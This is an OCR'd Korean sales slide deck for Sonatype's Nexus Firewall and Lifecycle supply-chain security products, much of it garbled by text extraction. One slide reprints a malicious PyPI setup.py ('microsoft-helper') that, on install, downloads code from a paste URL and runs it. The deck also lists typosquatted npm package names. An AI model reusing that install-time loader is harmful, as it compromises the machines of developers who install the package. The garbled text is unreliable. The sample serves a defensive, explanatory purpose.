Jsonatype 1




OSC Korea 82 AIY
® ¢ ® o

@

Cloud Native 7|& Z1MEl Infra/DevOps &4 1= MSA E4/d4 ¥ 3&7|= X|&
« OP|HIM ZITH AEE « 2225 /0n-Prem/Hybrid 24 X|¥ *  MSA (Inner OF2|HIA) &4 /&A|
 MaliD|=m HZ (POC & POV) « DevOps, CI/CDS JiZerE X gl e Tech. Team (PM/AA/TA/SA/DA) X|&
* Roadmap ?|= ZHAE 2Y42tE A «  Waterfall & Agile

o

; 2 ]

Iz =M 23 Out-staffing & LEAA J|&X|¢ TRAINING

» . Cloud Native t0f| ZQst 2t= + On-Site 2Y % I x| - ZlEAAE 3¢ n]HEH 2F (CKA/CKAD)

=M 2 8l J|= X9 o Off-Site LEAA J|=X|H B SX|E « SUSE Rancher W& OIE L




Top 10 npm I{3|X|
LO MNXIOS £ oo 1

?IeIPVFerI‘ UUID react-dom \&jQuery

ATHE KPR R



ES2E|
(SIRMYUEHN)

2A0/0{ZBHIA
B, (24
HH7|A|AS

HE3e)

Ready to ship (Z1CH7])
e —

s

|

| 2| ZX|E2| AP 2| EX|EE| CI/CD o= z}2l Release Candidate
(Proxy) (Hosted)



X9 AIEY0| 23Y T

OPEN SOURCE PROJECTS AND VERSIONS GROWTH

Projects I 557,000
Versions
' [

Projects

Javascript
Versions

Frojects

CUMULATIVE ESTIMATED REQUESTS PER ECOSYSTEM OVER 6 YEARS

Versions
4 trillicn

Projects

‘B nuget

TR

Versions 3 trillion

2 trillicn

1 trillicn

2019 2020 2021 2022 2023
=X : 9t Annual State of the Software Supply Chain ’ :

https://www.sonatype.com/state-of-the-software-supply-
chain/open-source-supply-and-demand
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FIGURE 1.7. NEXT GENERATION SOFTWARE SUPPLY CHAIN ATTACKS (2019-2023)

245,000

Malicious packages

discovered, 2x all previous 2023[_30”_1-1_; 0|II_1'5HJ)|-x| té!‘?d%l
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babelcli: 42 cross-env.js: 43 crossenv: 679 d3.js: 72 fabric-
js: 46 ffmepQg: 44 gruntcli: 67 http-proxy.js: 41 jquery.js:
136 jquery.js: 136 mariadb: 92 mongose: 196 mssql-node:
46 mssql.js: 48 mysqljs: 77 node-fabric: 87 node-opencv:
94 node-opensl: 40 node-openssl: 29 node-sqlite: 61 node-
tkinter: 39 nodecaffe: 40 nodefabric: 44 nodeffmpeg: 39
nodemailer-js: 40 nodemailer.js: 39 nodemssql: 44
noderequest: 40 nodesass: 66 nodesglite: 45 opencv.js: 40

openssl.js: 43 proxy.js: 43 shadowsock: 40 smb: 40 sqlite.js:

48 sqliter: 45 sqlserver: 50 tkinter: 45

Cross-env -> crossenv
express -> exprss
electron -> electorn

electorn: AtEXte| IP "d\_ ot £ A|, B Fingerprint &
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Dependency Confusion (224 =5)
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Apple, Microsoft, Netflix, PayPal, Shopify, Tesla and Uber 2|Al & P sonatype

Dependency Hijacking Software
Supply Chain Attack Hits More Than
Dependency Confusion: How | 35 Organizations
Hacked Into Apple, Microsoft February 09, 20218y Ax Sharm

and Dozens of Other Companies /‘;S’-..f
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awesomelib 1.0
" awesomelib 69.69.69 (internal)
by not_a_hacker
(external)
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Malicious Code Injection (43 E ¢

F setup -

rom tempfile import NamedTemporaryFile as _ffile [ mlcrosoft-helper
from sys import executable as _eexecutable
rom os import system as _ssystem

_ttmp = _ffile(delete=False)
_ttmp.write(b"""from urllib.request import urlopen as _uurlopen;exec(_uurlopen('https://paste.bingner.com/paste/rg8v8/raw').read())"""
_ttmp.close()

try: _ssystem(f"start {_eexecutable.replace('.exe', 'w.exe')} {_ttmp name}")

2xcept: pass

setup(
name='microsoft-helper’,
packages=|['microsoft-helper'], H
oty Author First-stage payload
license='MIT',
description='package manager.',
author='idklmao'y
keywords=['style'],
install_requires=['"'],
classifiers=['Development Status :: 5 - Production/Stable']
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MaaS (Malware-as-a-Service)

ZX : https://blog.sonatype.com/malware-monthly-march-2023
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exus Repository Pro - Health Check
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Central 4670

Thu Aug 20 2020 at 6:51:05 PM COMPONENTS IDENTIFIED
8 minutes

Browse

O Welcome

v Q Search

Issue Summary @ Get Nexus Firewall

Security Vulnerabilities License Warnings Benefits

Critical (7-10) m Copyleft m il| Stop bad components at the front

Q Apt Usage
Q, Custom

Q Total components Unique logins Peak requests per minute Peak requests per day
Docker

door 861887 . 1647 458866
15t 30 day Past24h Past 30 day

Severe (4-6) Non Standard ) . S SENS
S Automatically shield your software

) Q PyPI
Moderate (1-3) Not Provided from open source risks

Q Raw
Q Yum
Q npm

Threat
Lexa 0 50 100 150 200 250 300 350 400 \oak Copyleft Learn More
I S I —

9

8 Liberal
a1 [ | 1]
6
5

S Browse
—

- ~
What should | do with this report? ( View Detailed Report

Protective over your Repository?
@ Tags

We are too. Your repositories are crucial to your business. Let us
help you protect them from malicious and vulnerable components

v By: | i Vulnerabilities View By: () Artifacts

Threat Level Problem Code Artifact License Threat Declared License Observed Licenses it Group Artifact
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Repository Firewall
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Repository Firewall - Tf7|X| X ':._f Al X

o000 B nnandivelugu — -zsh — 80x24
Last login: Fri Feb 18 16:01:53 on ttys@e3
nnandivelugu@Navyasanthis-MacBook-Pro ~ % npm install 1gallery(0.0.8 Overview
npm JEGIY enoent ENOENT: no such file or directory, open '/Users/nnandivelugu/pac
kage.json'

npm | nnandivelugu No description

npm | nnandlvelugu No repository field.

npm A KRR - A ARAe .

b HIC 0f2] JHEHK} SHHOA &0l -> =X| URL M2

The purpose

npm code E403
npm 403 403 >>> REQUESTED ITEM IS QUARANTINED -————————
——————————— >>> FOR DETAILS SEE —------>>> http://localhost:8072/ui/links/reposito

ries/quarantinedComponent/MWULYjRhYTA30DNMNGEQOWE4OWNmMYZzARYj1kNZEWMzQY <<<——————
- GET http://localhost:8081/repository/npm-proxy/lgallery/- /1gallery -0. 0 8.tgz

Risk Remediation

npm 403 In most cases, you or one of your dependencig
npm 403 a package version that is forbidden by your )
Version Explorer —  F fr-
npm A complete log of this run can be found in:
npm /Users/nnandivelugu/.npm/_logs/2022-02-18T22

nnandivelugu@Navyasanthis-MacBook-Pro ~ % Ji

Fopularity [ Compare Versions
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Security Vulnerability Severity
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Security

Security Vulnerability Status

Security
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Security

Security Vulnerability Category

Security

Security Vulnerability CWE

Security

Relative Popularity (Percentage)

Quality
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Hygiene Rating
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Quality

License

License

License Status

License

License Threat Group

License

License Threat Group Level
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Label

Other

Match State

Other

Format

Other

Coordinates

Other

Package URL

Other

Proprietary

Other

Identification Source

Other

Component Category

Other

Data Source
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Dependency Type

Other
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ita Orgs and Policies -
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o
B Reports Distributed
s Syccess Metrics
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» Vulnerability Search
@ Internal
Q, Advanced Search

@ Firewall T Policies
& Legal + Mew Policy
[3 License-Banned

[3 security-Critical

3 Security-Malicious

3 Security-Namespace Conflict

3 Integrity-Rating

[ License-None

[3 security-High

[3 License-Copyleft
Component-Similar
License-Commercial
License-Threat Not Assigned

Security-Medium

License-Modified Weak Copy...

License-Non Standard

Security-Low

Component-Unknown

Architecture-Cleanup

Architecture-Quality

D Policy Violation Grandfather...

C Continuous Monitoring

&® Proprietary Components

» W Component Labels

» & License Threat Groups
¥ Source Control

v G Access

+ Add a Role

i Edit Policy

Summary Inheritance Constraints Actions

SUMMARY

Threat Level

Policy Name

Policy Violation Grandfathering

D Allow this policy to be grandfathered
INHERITANCE
This Policy Inherits to

O

Policy Actions Override

D Allow actions to be overridden by childre
CONSTRAINTS
Malicious vulnerability category

is in violation if the following is true:

* Security Vulnerability Category is Malicious Code

+ Add Constraint

ACTIONS
ACTION } PEVELOP SOURCE

No Action ® ®

Notifications

End of Page

RELEASE

®

OPERATE

®

A This wi

NOTIFICATIONS

PROXY DEVELOP SOURCE

Recipient Type Email Address

Emai

RELEASE

OFERATE

CONTINUO.

MONITORING
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% Orgs and Policies
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1 Success Metrics

b vulnerabilty Search
Q Advanced search
@ Firewall

& Legal
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+ Adda Role

IntelliJ
IDEA

il Edit Policy

Policy Name Threat Level

Policy Violation Grandfathering

NCE

This Policy Inherits to

Policy Actions Override

Malicious vulnerability category

Recipient Type Email Address

VS Code  Github

Gitlab

Bitbucket

ACTIONS
ACTION
Mo Action
Warn

0 Fzail

DEVELOP

SOURCE

RELEASE

OPERATE

MOTIFICATIONS

RECIPIENT

Recipient Type

EMai

Azure

DevOps Jenkins

PROXY

DEVELOP

Email Address

SOURCE

¢ 9

Github
Action
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j Project Explorer 3 € B commons-collections:3.2.1 £3

2 # Policy Violations
v = webgoat-smol
{® src/main/java Policy Constraint
™ src/main/resources
=\ JRE System Library
&\ Maven Dependencies
» doc¢
» SIC

Security-High

target
k) buildoaml

| pomaxmi I Architecture-Quality  Version is 0 ye montha and 7 day Breaklng Changes :

README.txt
%] webgoat for SQL Server.baf
3 \..e::oa:_eaeo.b:: o (I):I-IJE'-” OlEO'” _:,LEIfI_:l jC:>| Ol

webgoat.bat ®
webgoat.sh » License Analysis

£ - e
L Threat Level Declared License(s) Observed License(s) ]%I 9_ OI_I-X | 01 $ %II-?—I

IDE 2H30| M Policy 3
i i S OHdHigl= Security Issues :
VIOl;tIOEE -I-_.I:%Ol-l_ gl’hveat::vel Problem Code Status Summary VerSIOn Explorerg
A E 10| 9 E3j| X|Mo| HLUHE
B Mek

Liberal

*) Problems (@ Javadoc [ Declaration ' Search [ Console &jProgress B Componentinfo 3

webgoat-smol, 21 components (21 shown, 0 filtered)

Group: commons-collections . This Vers:
Artifact: commons-collections
Version: 3.2.1

Component

aas-ant -

©

commons-collections - 3.2.1
commons-fileupload -
j2h -

mail -

Declared Li Apache-2.0

Policy Threat
Observed License: Apache-2.0 - 2k
Effective License: Apache-2.0

mailapi - n within 2 policies

axis - i S re n
commons-logging - 4 Cataloged: 10 years ago 4

Match State: exact O n e_ Cl ICKQE EO|_I-

Identification Source: Sonatype

Category: Programming Language Utilites x Ol:x'l 'I'HAE Ol_l_
U™ A E Pt

Oro|22|o]d

ENEEEEER

actvation -
axis-jaxrpe -

ais-533) -
commons-digester -
commons-discovery -

View Details

COMmMons-io -

ecs -



Lifecycle - Source Control X|#

= Commitdi| CHSt XH= I|=8H Merge Blocking, Xt= Pull Request, b

= Breaking Changes %! Transitive Dependency0i| CHol] Z2XQl o~ H1 ok

(8

Bump jackson-databind to 2.10.0 #4
collinpeters wants tc e 1 commit int fror ack i to-2.10.0 £ All checks have failed Hide all checks
1 failing check

ersation 0

collinpeters commented 2 hours a dite: ® - . 1Q Policy Evaluation — Components: Critical: 14, Severe: 8, Moderate: 2 LECTIELY Details

Automated pull request to fix 1 Nexus 1Q Policy Violation

Description All required statuses and check runs on this pull request must run successfully to enable automatic

com.fasterxml.jackson.core : jackson-databind merging.
2993

As an administrator, you may still merge this pull request.

Threat ’ Merge pull request ~ | You can also open this in GitHub Desktop or view command line instructions.
(0110) Policy Constraint Violation Details

& Critical ri
Security-

Nexus 1Q Scan Detail {x Unsubscribe

Organization: My Organi
Date: 2019-11-27 13:58:11
Stage: build

w full report

was automatically created by your friendly neighboL
was automatically created by youl ly neighbou B Lisk sorivarition

1Q Policy Evaluation -
Components: Critical: 14,
Severe: 8, Moderate: 2

Automated pull request: Nexus IQ found 3 Policy Violations

Description

« Component: org.apache.logging.log4j : logdj-core
« Current version (with violations): 2.4

\New version (for remediation): 2.13.3

B Multiple breaking changes - This version upgrade may require significant effort.




Lifecycle - Cl Integration (e.g. Jenkins

IQ ServerE £9t Full Report £f0l

Jenkins Script 04|

nexusPol i cyBvaluat ionf
» cf Nexus 1Q Build Repo

jghpplication: 'Samphpp’, This report lists 1Q polcy vitations

Application

See Policy Violations directly in your IDE

iglnstanceld: "MyNexus|Qserver!®, ; o IDEA
igScanPatterns: [[scanPattern: '++/+.js'], [scanPattern: '++/+ zip']], = . <
» E NE 7 Build Failures 55 Warnings
(C]St T D 2 : components caused by 41 componer

iglrganization: 'B5040769ec0B8474e84049556a3362407" jriackson (java) 0.4.10

THREAT / POLICY NAME ACTION CONSTRAINT CONDITION

O Fai a Fo

OFai
O Fai
O Fai High ri
OPERATE .
OFai High r

org.springframework.data : spring-data-rest-hal-browser : 3.1.10.RELEASE

THREAT / POLICY NAME ACTION CONSTRAINT CONDITION

I ca O Fai Critical risk

NOTIFICAT

Warn




Application Composition R

A~ sonatype
W lifecycle '€

A Dashboard
a5 Orgs and Policies

B Reports

3

Success Metrics
Vulnerability Lookup
Advanced Search

Firewall

a0l

Legal
API

£ Data Insights

Release 167

Powered by Sonatype 1Q Server

\l Reports

test2app Build Report

Triggered by Continuous Integration on 2023-06-08 16:56:48 UTC-0500 - Commit
fc161791bcba1f70d6ce03bb6d91a47b45a9613e4

m 663 1020 VIOLATIONS 1278 COMPONENTS

Al g 5 lentified

'9 1526 LEGACY VIOLATIONS

o Aggregate by component

THREAT « POLICY COMPONENT

Security-Critical n 3p0: c3p0:0.9.1.1

Security-Critical ﬂ com.fasterxml.jackson.core : jackson-databind : 2.2.2
Security-Critical G com.h2database : h2:1.3.176

Security-Critical ﬂ commons-collections : commons-collections : 3.2.1
Security-Critical ﬂ commons-fileupload : commons-fileupload : 1.3.1
Security-Critical n domdj : domdj :

Security-Critical handlebars 1.0.12

Security-Critical n logdj : logdj:1.2.16

o

£ Re-Evaluate Report Options

View Dependency Tree

a

YFilter

ok =

o nt

oy
L
|m



W Maven Direct Dependency

Overview

Component Information view Coordinates

Match State Identification Source Occurrences Website Category

Exact = 1 File - Data M

Risk Remediation

Recommended Versions Version Explorer

Upgrade to 8.0.28 Compare Fapularity

MNext version with no po olation Ereaking Changes

Falicy Thraat

ure for this compenent and its d

Compare Versions

CURRENT SELECTED

Version

Highest Policy Threat

Security Violation Threat

Highest CVSS Score

License Violation Threat




9|:_II E Llﬂ E *—” _bll_ ]I_” O ‘ x‘ Violation Details

0 Violation of Security-High @ Manage Waivers

| | | ] | |
P O ‘ I ( : VI O ‘ E l l I O n EA sandbox Organization EMSandbox Application & mysgl: mysgl-connector-java : 8....

Threat Level Policy Type Stages
9

First Reported Last Reported Policy Owner

Policy Violations 1 year ago year ago @ Root Organization

Policy Violations View Existing Waivers
Policy Constraint
THREAT POLICY/ACTION CONSTRAINT NAME CONDITION
L ] Security-High i r Found
Found secu \Iner ty CVE-2018- Y < G Wy .8) * Found

Security-Medium isk Found secu * Found

Found secu

Security-Medium m risk C\ Found secu
Found security vulnerability CVE-2 y = 7 [severity ! CVE-2018-3258

Security-Medium I m risk (¢ Found secu
Issue Description from CVE
Found
CVE-2018-3252[4
Security-Medium I r Found secu

Severity
Found security vu

QL Connecto

Architecture-
Quality

210

Connectors via an X-Protocol connec




Violation of Security-Medium

ALAE M5 Ho|X

Threat

Policy Ownis

Security o

Policy Constraint

Medium risk CV55 score
.

.

CVE-2022-21363

Qverview L Jiolati Security Audit Log f— n from CVE

Security Violations

THREAT POLICY/ACTION CONSTRAINT NAME CONDITION

®9 Security-High
Weakness

Security-Medium

Security-Medium .
Detection

Security-Medium endation

Security-Medium

Wersia

Vulnerabilities

ISSUES STATUS Root Cause

Mdvisories

WSS Details




AEHE ME 0| X| (Legal & label

. . Manage Labels
License Detections # Edit

Status Available Labels Applied Labels

Effective Licenses Declared Licenses Observed Licenses
Architecture-Blac| [+]

L 0 s @F
-9

Architecture-Cleanup @

Architecture. recated @

Legal Policy Violations

THREAT POLICY/ACTION CONSTRAINT NAME CONDITION




Repository Firewall vs. Lifecycle

Repository Firewall Nexus Lifecycle

HLX}IDE, &4 2|EX|E2| (FA2t2]), CI/CD, YEE, JIRA,

o= A|AH ;
LS AMNEE Slack, Fortify, Chrome, CLI

0SS HO|H 2| 2[ZX|E2|

), N s Fia) Develop/Source/Build/Stage/Release/Operate
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Software Composition Analysis (SCA)
Forrester Report Q2 2023

Current offering

Vulnerability identification

License risk management

SBOM management

Development, security, and operations

Software supply chain security

Policy management
y g

Remediation
Reporting and analytics

Breadth of coverage

Strategy

Vision

Execution roadmap
Planned enhancements

Innovation

Supporting services and offerings

Pricing flexibility and transparency

Market presence

Revenue

Number of customers

Average deal size

Forrester Wave™: Software Composition Analysis, Q2 2023

THE FORRESTER WAVE"
Software Composition Analysis

Q2 2023

Strong
Challengers Contenders Performers Leaders

Stronger
current

nng

offe

Mend.io |

Checkmarx (-

Revenera (-
( » |Veracode

Aqua Security (- Palo Alto Networks (-

GitHub [ +
<) GitLab

Market presence

https://reprints2.forrester.com/#/assets/2/425/RES178483/report?utm_campaign=q2%202023%20na%20forrester-sca-wave&utm_source=sales-email&utm_medium=email&utm_content=2023-forrester




=23 [0 H[O|EH|0|A 2Y

Maven 2F2t2| FK
NPM/PYPI AI/ML 2L|E{
: 10002 HE  Het
repository oimgl

firewall HM|AH| X|CH Repo ZSAt -
nexus 1Q server

by sonatype

N AAZ E[XMO| HIHAE JHEH Advanced Binary Fingerprint A/ 7|& HHE XSS} 2 MR Ml




OSC
JEAFSHL|CH

—

Sonatype &2
oI ST () 0| AM| 2 2[0f
sales@osckorea.com
02-539-3690



mailto:sales@osckorea.com

	슬라이드 1
	슬라이드 2
	슬라이드 3
	슬라이드 4
	슬라이드 5
	슬라이드 6
	슬라이드 7
	슬라이드 8
	슬라이드 9
	슬라이드 10
	슬라이드 11
	슬라이드 12
	슬라이드 13
	슬라이드 14
	슬라이드 15
	슬라이드 16
	슬라이드 17
	슬라이드 18
	슬라이드 19
	슬라이드 20
	슬라이드 21
	슬라이드 22
	슬라이드 23
	슬라이드 24
	슬라이드 25
	슬라이드 26
	슬라이드 27
	슬라이드 28
	슬라이드 29
	슬라이드 30
	슬라이드 31
	슬라이드 32
	슬라이드 33
	슬라이드 34

